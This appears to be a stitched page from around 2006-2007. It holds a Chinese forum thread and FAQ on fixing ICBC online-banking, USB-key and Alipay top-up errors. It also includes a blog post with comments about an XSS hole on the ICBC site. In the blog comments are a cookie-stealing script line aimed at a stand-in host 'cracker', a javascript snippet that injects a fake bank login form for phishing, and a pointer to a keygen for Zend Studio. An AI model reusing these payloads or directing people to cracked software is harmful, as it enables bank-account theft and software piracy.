工行的支付宝充值问题！

工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-23 22:50

我今天一直在充值，可是一直每次提交的时候都告诉我说是缺少控件让我下载然后重新操作。我依照提示下载安装以后每次都还在做同样的提示，有时候还会告诉我说是让我重新插入U盾，可是我的U盾明明就已经插入了。在支付宝付款的时候我用支付宝账户里的钱是可以付的。紧急求助咯！还有工行的95588设了干嘛用哦？打了三个小时一直接不通！

我下载安装控件，然后提示我说是c:\widows\system32\msvcp60.dll被锁定，这是怎么回事？有什么影响？我怎么才能解锁？因为有这个问题，所以网上银行一直没有办法使用，没有办法给支付宝冲值！要怎么解决呢？我没有安装什么上网助手什么的。只有瑞星的杀毒和防火墙。

1楼 Re:紧急！工行的支付宝充值问题！ 2006-11-24 10:07:16 楼主好，小e感觉到应该是控件的问题。而控件安装没有成功，主要是因为屏蔽功能的程序导致。小e建议您，将杀毒软件、防火墙、雅虎助手、系统自带防火墙全部退出，将控件程序重新安装，之后重启电脑，重新安装过程中，如果提示您是否卸载、删除，建议您先将其卸载，再把控件程序重新安装。
安装成功后，您可以尝试将证书从电脑的USB口中拔下来，然后换一个口插上去。不要使连接线。将驱动程序打开，看看有没有自动导入的过程。一切正常，即可使用工行网银。
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2楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-24 10:31:55 我下载安装控件，然后提示我说是c:\widows\system32\msvcp60.dll被锁定，这是怎么回事？有什么影响？我怎么才能解锁？因为有这个问题，所以网上银行一直没有办法使用，没有办法给支付宝冲值！
3楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-24 11:09:54 xinyue1984 您好~
请您以windows系统管理员身份登录操作系统，并关闭杀毒软件、防火墙软件等系统保护软件后，在安装我行的安全控件。
因关闭系统保护软件后，可能会带来风险，建议在非联网状态下操作。
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4楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-28 02:26:25 断网，关软件，都尝试了。这样的操作还是搞不定，哪位知道§

匿名用户 5楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-28 11:03:21 楼主好，请您查看控制面板-管理工具-服务中是否有“SmartCard”服务或“智能卡”服务（这两者是同一个服务），如果有该服务但处于“停止”状态，将它手动“启动”即可。如果该服务不存在，请按以下步骤操作：
　　打开一个命令（Dos命令）窗口，键入“ScardSvr Reinstall”重新安装ScardSvr服务，再键入“regsvr32 scardssp.dll”重新注册scardssp.dll。进入服务，将“SmartCard”手动启用，并在属性中将启动方式改为“自动”。
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6楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-29 09:17:54 下载安装工行控件，然后提示说是c:\widows\system32\msvcp60.dll被锁定，这是怎么回事？我怎么才能解锁并安装工行控件？

工行网银密码和验证码处为红叉,无法填入

匿名用户 7楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-29
请您以windows系统管理员身份登录操作系统，并关闭杀毒软件、防火墙软件等系统保护软件后，在安装我行的安全控件。
因关闭系统保护软件后，可能会带来风险，建议在非联网状态下操作。
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请您以windows系统管理员身份登录操作系统，并关闭杀毒软件、防火墙软件等系统保护软件后，在安装我行的安全控件。
因关闭系统保护软件后，可能会带来风险，建议在非联网状态下操作。

按您说的试了,可在安装控件时还是说 c:\widows\system32\msvcp60.dll被锁定, 无法完成安装啊

匿名用户 9楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-29 10:18:42 8楼淘友好~~~

很抱歉，此问题为您本机问题，小e建议您与计算机技术人员联系询问一下或者换台电脑进行操作。

10楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-11-29 16:10:17 看来真的是有问题的哟


11楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 10:36:47 我在贵行已经开过户了，可是我在交易时又出现了如下的提示，这是怎么回事？“尊敬的客户：您没有可办理网上基金交易的银行端交易账户，请您开立银行端基金交易账户；如果您已拥有开立了银行端基金交易账户的银行卡，请您到工行营业网点将其添加为网上银行注册卡后再进行基金购买交易。”

匿名用户 12楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 11:31:36 11楼的朋友您好~
请您携带本人有效身份证件\注册卡和基金交易卡,到当地网点办理添加注册卡,把您的基金交易卡添加注册到个人网上银行就可以了。
另外,如果您买了基金的话,添加之后,选择“网上证券”-->“网上基金”-->“账户管理”-->“本行异地基金TA账户登记”，就可以查询该基金TA了。
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13楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 13:25:59 我也出现这种情况了,反复安装控件都没法识别已经插上的U盾.

瑞星监控全部禁用也是一样

请您以windows系统管理员身份登录操作系统，并关闭杀毒软件、防火墙软件等系统保护软件后，在安装我行的安全控件。
因关闭系统保护软件后，可能会带来风险，建议在非联网状态下操作。

按您说的试了,可在安装控件时还是说 c:\widows\system32\msvcp60.dll被锁定, 无法完成安装啊

我也是和你一样。支付宝不能充值，真忧闷

15楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 14:36:56 ylemspace 我爱数码单反机 二位好~
这种情况是您本机设置的问题，请您查看一下本机是否安装系统保护类软件，如有请暂时关闭此功能，如还不能解决问题请您重装系统后操作。

如果您的问题和以上淘友的问题有所不同，请您二位将您自己遇到的错误提示描述一下以便我们尽快为您解决~
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16楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 14:56:49 我爱数码单反机写到：

请您以windows系统管理员身份登录操作系统，并关闭杀毒软件、防火墙软件等系统保护软件后，在安装我行的安全控件。
因关闭系统保护软件后，可能会带来风险，建议在非联网状态下操作。

按您说的试了,可在安装控件时还是说 c:\widows\system32\msvcp60.dll被锁定, 无法完成安装啊

我也是和你一样。支付宝不能充值，真忧闷

看来问题很普遍啊! 我换了台电脑, 安装控件时还是说 c:\widows\system32\msvcp60.dll被锁定.

之前11月初都用过工行网银的 , 都挺好的啊, 现在怎么这样了啊
匿名用户 17楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 15:13:11 建议你到当地支行，用工行办公室里的电脑试一下，
看是工行U盾的问题还是你电脑的问题，
如果工行的电脑能用的起来，建议你重装
呵呵
18楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-03 15:15:53 16楼的朋友您好~
如果您跟以上朋友情况相同，请按小e之前提供的方法操作~如有不同，请具体描述一下您的问题。
按小e之前提供的方法操作均没用, 最后"系统还原"到以前可以用的时候, 就解决了. 哎! 晕啊
还是谢谢小e啦
21楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-04 22:46:44 工行小e写到：
楼主好，请您查看控制面板-管理工具-服务中是否有“SmartCard”服务或“智能卡”服务（这两者是同一个服务），如果有该服务但处于“停止”状态，将它手动“启动”即可。如果该服务不存在，请按以下步骤操作：
　　打开一个命令（Dos命令）窗口，键入“ScardSvr Reinstall”重新安装ScardSvr服务，再键入“regsvr32 scardssp.dll”重新注册scardssp.dll。进入服务，将“SmartCard”手动启用，并在属性中将启动方式改为“自动”。
我的问题一样，就是每次要充值进行到“您在我行预留信息如下：DDD”然后点“确定”后便弹出“请插入U盾做签名交易”再确定后，出现“确认支付信息”提交后，便弹出“您的控件没有成功下载到本地，是否要下载所以控件安装？安装后请重新进入本功能进行操作”点确定后下载安装，之后重新操作还是重复出现，无法充值，重启电脑后一样，关闭瑞星后也一样，按照小二的提示一步步做下来，还是不能，上述命令窗口不知道在哪里打开，请问怎么解决啊，急死了，盼回，

另外，打开控制面版，管理工具中没有“智能卡”和“SmartCard”
若“SmartCard”服务不存在，请按以下步骤操作：
　　打开一个命令（Dos命令）窗口，键入“ScardSvr Reinstall”重新安装ScardSvr服务，再键入“regsvr32 scardssp.dll”重新注册scardssp.dll。进入服务，将“SmartCard”手动启用，并在属性中将启动方式改为“自动”。

如果每次都自动弹出安装该控件的提示，请点击“更多选项”左侧的双下箭头按钮，单选“总是安装来自”Industrial and Commercial Bank of China”的软件”，并点击“安装”按钮。
若系统禁用了该ActiveX控件，请通过IE浏览器“工具”菜单中的“管理加载项”功能，重新启用该ActiveX控件，方法如下：
1、打开IE浏览器，选择“工具”菜单?“管理加载项”。
2、若“AxIputContrl Class”及（或）“AxSubmitControl Class”状态为“已禁用”，请先分别点击该控件名称，再单选“设置”区域中的“启用”（对话框左下方），并点击“确定”。
23楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-05 22:05:34 SmartCard”服务存在,显示为“智能卡”已经启用，并设置为自动，可是“智能卡”下面还有一个“智能卡助手”无法启用。显示：错误1068：依存服务或组无法启动。
“AxIputContrl Class”及“AxSubmitControl Class”均已启用。但是充值依然出现上述问题，无法充值。急！！！

24楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-05 22:07:02 我说的上述问题就是21楼所说的问题


25楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-06 03:19:25 请问。。怎么删除msvcp.60dll啊。。。急死了。。。5555。。。。高手过来看看啊。。。


26楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-06 03:20:02 我还原了系统。。。还是不行。。。折腾了千百遍。。。

27楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-06 11:00:01
请您按照以下操作尝试：
（1）打开IE浏览器，选择“工具”菜单-->“Internet选项”-->“安全”标签，在“请为不同区域的Web内容制定安全设置（z）”窗口内选择“Internet”，然后选择“自定义级别”，将“Activex控件和插件”中“下载已签名的Activex控件”、“运行Activex控件”等设置为“启用”或“提示”，点击确定后，请重新启动电脑；
（2）若您安装了3721上网助手之类的软件，请您将其完全卸载；
（3）请您查看C:\WINNT\Downloaded Program Files文件夹，里面有InfoSecNetsingn Class和AxInputControl Class的属性，如果状态是已安装则正常。如果是已损坏或者为空,则建议您单击右键进行更新。
使用我行个人网上银行不需要删除此文件,请问您遇到了什么问题?请具体描述以便帮助您尽快解决。若您需要删除此软件请您与系统软件供应商联系咨询。

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28楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-06 11:45:17 小E好啊。。。
网银控件装到一半的时候。。忽然提示说"在执行所需的文件操作时发现锁定的文件C：windows/system32/msvcp60.dll。若需将此文件保留在系统中，请单击“忽略”按钮；若要重试文件操作，请单击“重试”，或要在系统重新启动后执行操作，请单击“重新启动”。。。晕啊。。我该怎么办。。。

29楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-06 13:07:51 liaoyuan1982 ：您好，如果系统中存在锁定文件，说明您的系统中装有屏蔽功能的软件。请您将带有屏蔽功能的软件卸载，重装控件程序。

30楼 Re:紧急！工行的支付宝充值问题！有新问题，工行小e请进！ 2006-12-07 13:20:56 我在一个网吧也是不能上你们的网站，填验证码的地方不能填，安装控件也不行呀

个人证书展期时报：“javaScirpt Error”应如何解决？

产生该问题的原因是操作系统的补丁或3721网上助手拦截了网站的插件所致。
　　1. 如果是3721网上助手拦截了网上银行的插件程序造成的报错提示，请卸载3721程序，并且在卸载过程中选择不保留网上助手。然后重新进入个人网上银行，系统将自动下载插件程序。
　　若想继续保留网上助手，请按照下图红框中的提示操作，系统会有对话框提示是否安装，点击确定后系统跳回登录页面。您重新进入个人网上银行的自助展期页面后，系统将自动下载插件程序。

　　2. 如果是操作系统的补丁程序拦截了网上银行的插件程序造成的报错提示。请注意下图，根据红框中的提示选择安装即可。点击安装后，系统会有对话框提示是否安 装，点击确定后系统跳回登录页面。在重新进入个人网银的自助展期页面后系统会出现一个提示框提示客户是否安装插件程序,请点击安装。

为什么在网银无法查到我的基金呀?

请您进行以下操作：
（1）打开IE浏览器，选择“工具”菜单-->“Internet选项”-->“高级”标签-->点击“还原默认设置”，点击“确定”后关闭所有IE浏览器窗口；
（2）打开IE浏览器，选择“工具”菜单-->“Internet选项”-->“常规”标签-->Internet临时文件设置中的“检查所存网页的较新版本”选择“每次访问此页时检查”。并在Internet临时文件设置中点击“删除文件”，在“删除所有脱机内容”前打勾后点击确定关闭对话框，关闭所有IE窗口；
（3）打开IE浏览器，选择“工具”菜单-->“Internet选项”-->“安全”标签，在“请为不同区域的Web内容制定安全设置（z）”窗口内选择“Internet”，然后选择“自定义级别”，将“Activex控件和插件”中“下载已签名的 Activex控件”、“运行Activex控件”等设置为“启用”或“提示”，点击确定后，请重新启动电脑；
（4）若您安装了3721上网助手之类的软件，请您将其完全卸载；
（5）点击“个人网上银行登录”进入个人网上银行登录页面。点击最下方的“系统设置指南”。进入下一个页面后，点击第一步中的“个人网上银行控件”，进行下载安装后，重新启动计算机使用。
（6）若仍无法正常使用，建议您重新安装IE6.0或以上版本的IE浏览器，并使用WINDOWS系统的UPDATE功能安装补丁。

我在网上基金的“基金交易明细”处按查询出现了‘java script error'字样？

请进行以下操作：
IE6.0sp1:
在界面顶部的菜单栏点击"工具→Internet选项→安全→自定义级别→脚本"，对"Java小程序脚本"选项点选禁用。

另外，为获得较高安全性可以将IE类浏览器ActiveX功能、Java功能和脚本功能全部关闭，将非IE类浏览器Java和Javascript功能关闭，只是这样就限制了许多网站、论坛的功能，网页的特效也不能显示，所以不推荐使用。

再说工行漏洞

前几天发了一个贴,工行官方网站再次出现非常低级的漏洞,很快就被继续转到CSDN上了.

呵呵，不过还是有人没有意识到这个漏洞的严重性。不要认为XSS比较普遍就忽略它的危害性。属性XSS，并具有基本的安全意识是每个合格程序员必备的一种技能。

上次我提供的简单漏洞，可能很多人不以为然，下面你看看这个链接吧。


感谢Pluto2006_heaven 提供：
看来工行对这个新漏洞还未给予足够重视,其实要利用这个漏洞钓鱼,并不需使用独立的伪装页面,而只需要利用工行的服务器构造一个页面即可----样看起来更真实,下面是采用这种方法实现钓鱼的示例链接代码(该示例只可用于技术讨论与研究,不得用于非法用途,否则后果自负!):
http://www.icbc.com.cn/cli...

Tags： 安全
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引用地址： http://www.phpobject.net/blog/tb.php?t=85&extra=dd66a
feifengxlq Email Homepage
2007/01/08 17:49
今天再上去看，工行已经修复这个错误。
banboy
2007/01/04 15:28
呵呵，我的ZEND STUDIO快过期了，有没有什么注册机或注册码什么的，

我感觉ZEND 挺好用的，呵呵
feifengxlq 回复于 2007/01/04 15:47
在喜悦国际村上有，你搜索下就好了
banboy
2007/01/04 15:26
你给的最后一点是非常有价值的，

个人认为钓鱼程序是太被动了，

其实这里既然para没做检测的话，应该随便进网站的内部


看服务器是什么系统，

SQL注入的方式（也不一定是sql代码的注入，也可以是web服务器所使用系统的shell代码的调用）

我想这个黑客水平也不怎么高，

我个人是学习exploit的，但是没学多久，难度太大，如果完全靠自己的话很难，所以现在国内的黑客我不太承认

用外国人的工具黑中国人，太过份了，
feifengxlq 回复于 2007/01/04 15:47
不是黑工行，主要提醒，同时也说明我们程序员本身来注重安全。很多做网站开发业务的公司都不注重安全的，事实上很多客户也更加没有安全意识，对他们来说，只要你完成相应的功能就OK了，性能，安全，他们很少有人考虑过。
很少有客户会把我们完成的项目交给专业的测试团队去测试性能和安全的
feifengxlq Email Homepage
2007/01/04 11:49
我对黑客技术也没多少了解，但我认为：不相信任何外部数据，并对外部数据进行相应的过滤是一个合格程序员的必须。
csdn上有人说

事实上管理员和页面编辑的境地最为危险。可以引诱他们访问问题 URL, 可以导致 Cookie 被发送出去 ("?c=window.location='http://cracker/'+docu... ")。这样可以真正修改页面, 并以此为跳板获取更高权限。

我虽然不知道具体怎么做，但这一定是可行的
banboy
2007/01/04 11:20
刚才我随便查了下关于你说的钓鱼的资料，也大体了解了一下，

一般的钓鱼是发生在非官方网站上点击了比如ICBC的字眼，

然后进到你上面所给的页面是吗，

难道钓鱼就这么简单，不会吧

请高手指点
feifengxlq 回复于 2007/01/04 11:45
自己看看csdn上的评论吧。http://blog.csdn.net/hcat1...
banboy
2007/01/04 11:09
javascript:s();function s(){document.write(unescape('

个人网上银行用户登录
请输入注册卡/登录ID：
请输入登录密码：< /td>
请输入右侧显示的验证码：

'))}

feifengxlq 回复于 2007/01/04 11:46

重复的我删除了，^_^
[ 2007/01/04 01:11 | by feifengxlq ]

网上银行icbc·中国工商银行◆◆工行Usbkey◆◆使用中的疑难杂症之解决方法大集合◆◆[

现在最关心的莫过于网上银行的安全，由于现在的木马程序太过厉害了，实在是防不胜防，在社区里看到很多朋友说被骗了，或者说是差点中招了，于是有些 朋友就推荐了办理一个usb key，但在安装和使用usb key时常常会遇到一些问题，下面我把几个特别容易碰到的问题集中起来，希望对大家有所帮助。

金邦达USBKEY

捷德USBKEY

华虹USBKEY

转帐支付时用于签名的证书框中是空白或没有工行证书

一．对于捷德： ①先插入USBKEY证书，点击开始→所有程序→Safesign…1.0.9（捷德）→智能卡管理，正常情况如图示： 如果智能卡状态是未初始化，需要去下载证书； 如果是缺卡或不存在，拔出USBKEY,再重新插入； 如果问题仍然存在，则拔出USBKEY和电脑上其它全部USB设备后，运行“USBKEY驱动”（插入安装光盘），选择“删除”，删除驱动后重新启动计算机； 运行“USBKEY驱动”（插入安装盘），进行驱动程序安装。 ②点击菜单智能卡→显示智能卡对象 正常情况如图示： 如果没有图中的两行数据，说明USBKEY中没有证书数据，需要去柜台理财室做证书恢复处理。 ③点击菜单数字证书→自动注册状态及属性（新版驱动程序没有这项，不需做这步，到此结束。） 正常情况如图示： 如果是“自动注册功能不可用”把图中的√打上，点击“OK”就行了； 如果是“可用”，把图中的√去掉，点击“OK”，再重新打开，这时会变成“自动注册功能不可用”；把图中的√打上，点击“OK”就行了。 故障处理完毕。 二．对于华虹： ①先插入USBKEY证书，点击开始→所有程序→BHDC Ukey Client(华虹)→Ukey Client Manager 输入PIN码，验证成功后，如下图示： ②点击菜单证书→查看，如下图示： 如果没有加密证书，请您带上USBKEY和开户的身份证件去柜台理财室做证书恢复； 如果有加密证书，先点击加密证书，再点击安装按钮，提示安装成功。 故障处理完毕。

证书版客户在转帐支付时提示数据签名有误

一、打开IE浏览器→工具→Internet选项→内容→证书； 如下图示： 如果框中没有400000….这样的数据，就直接关闭IE浏览器退出。 如果框中有400000….这样的数据，把它们选中后再点击删除按钮把它们全部删除后再关闭IE浏览器退出。 二、USBKEY证书的类型 1、捷德： ①先插入USBKEY证书，点击开始→所有程序→Safesign…1.0.9（捷德）→智能卡管理，正常情况如图示： 如果智能卡状态是未初始化，需要去下载证书； 如果是缺卡或不存在，拔出USBKEY,再重新插入； 如果问题仍然存在，则拔出USBKEY和电脑上其它全部USB设备后，运行“USBKEY驱动”（插入安装光盘），选择“删除”，删除驱动后重新启动计算机； 运行“USBKEY驱动”（插入安装盘），进行驱动程序安装。 如果对话框中是空白的，则请您查看在线帮助下的另一篇文档，“为何提示连结不到USBKEY”。 ②点击菜单智能卡→显示智能卡对象 正常情况如图示： 如果没有图中的两行数据，说明USBKEY中没有证书数据，需要去柜台理财室做证书恢复处理。 ③点击菜单数字证书→自动注册状态及属性（新版驱动程序没有这项，不需做这步，到此结束。） 正常情况如图示： 如果是“自动注册功能不可用”把图中的√打上，点击“OK”就行了； 如果是“可用”，把图中的√去掉，点击“OK”，再重新打开，这时会变成“自动注册功能不可用”；把图中的√打上，点击“OK”就行了。 故障处理完毕。 2、华虹： ①先插入USBKEY证书，点击开始→所有程序→BHDC Ukey Client(华虹)→Ukey Client Manager 输入PIN码，验证成功后，如下图示： ②点击菜单证书→查看，如下图示： 如果没有加密证书，请您带上USBKEY和开户的身份证件去柜台理财室做证书恢复； 如果有加密证书，先点击加密证书，再点击安装 按钮，提示安装成功。 故障处理完毕。

下载证书和转帐时出现“Java Script Error对象不支持属性”如何处理

一．下载安装控件程序 在工行首页：www.icbc.com.cn点击：个人网上银行登陆点击网页中下载安装。 如下图所示： 点击打开按钮，进行控件程序的安装。 二．重新启动电脑后正常。 提示密码错误应该如何处理 一．在登陆个人网上银行输入网上银行登陆密码后出现提示： 请您注意在输入的密码中，英文字母的大小写，系统是区分大小写的。 密码是否正确是由电脑系统自动判别的。如忘记了登陆密码，请您带上开户的身份证和银行卡到网点柜台重置网上银行登陆密码。 二．登陆后在修改网上银行转帐（支付密码）时出现提示： 开通网上银行后首次修改时，原密码是纯数字密码。以后再次修改时原密码是英文字母与数字组合的密码。如忘记了登陆密码，请您带上开户的身份证和银行卡到网点柜台重置网上银行转帐（支付密码）。 三．证书版客户在转帐支付时提示PIN码错误： 密码中如有英文字母，请你注意字母的大小写，字母的大小写是区分的。如果连续输入错误，第三次后会锁定智能卡。如果忘记了密码，您需要带上开户的身份证件和USBKEY到网点理财室解锁后才能使用。 四．非证书客户转帐支付时提示支付密码错误： 请您注意密码中英文字母的大小，系统是区分大小写的。密码是否正确是由电脑系统自动判别的。如忘记了支付密码，请您带上开户的身份证和银行卡到网点柜台重置网上银行支付密码。

在转帐时出现错误提示：31476应如何处理

这种问题主要出现在安装繁体中文系统或者是英文系统的电脑上。 解决方法：打开IE浏览器，在菜单项点击工具→Internet选项 点击上图语言，打开下图，点击添加，把中文(中国) [zh-cn]加入并通过上移放在最前面，如下图示，确定后设置完成。

　　希望以上的几条对正遇到困难的朋友们有所帮助，大家好才是真的好嘛。呵呵！顺便提一下，本人用的是捷德USBKEY，感觉还是不错的，问题也是碰到过，但都顺利的解决了，就是这个东东太小了，平时必须保管好，很容易不小心就忘记放在那里的了。。。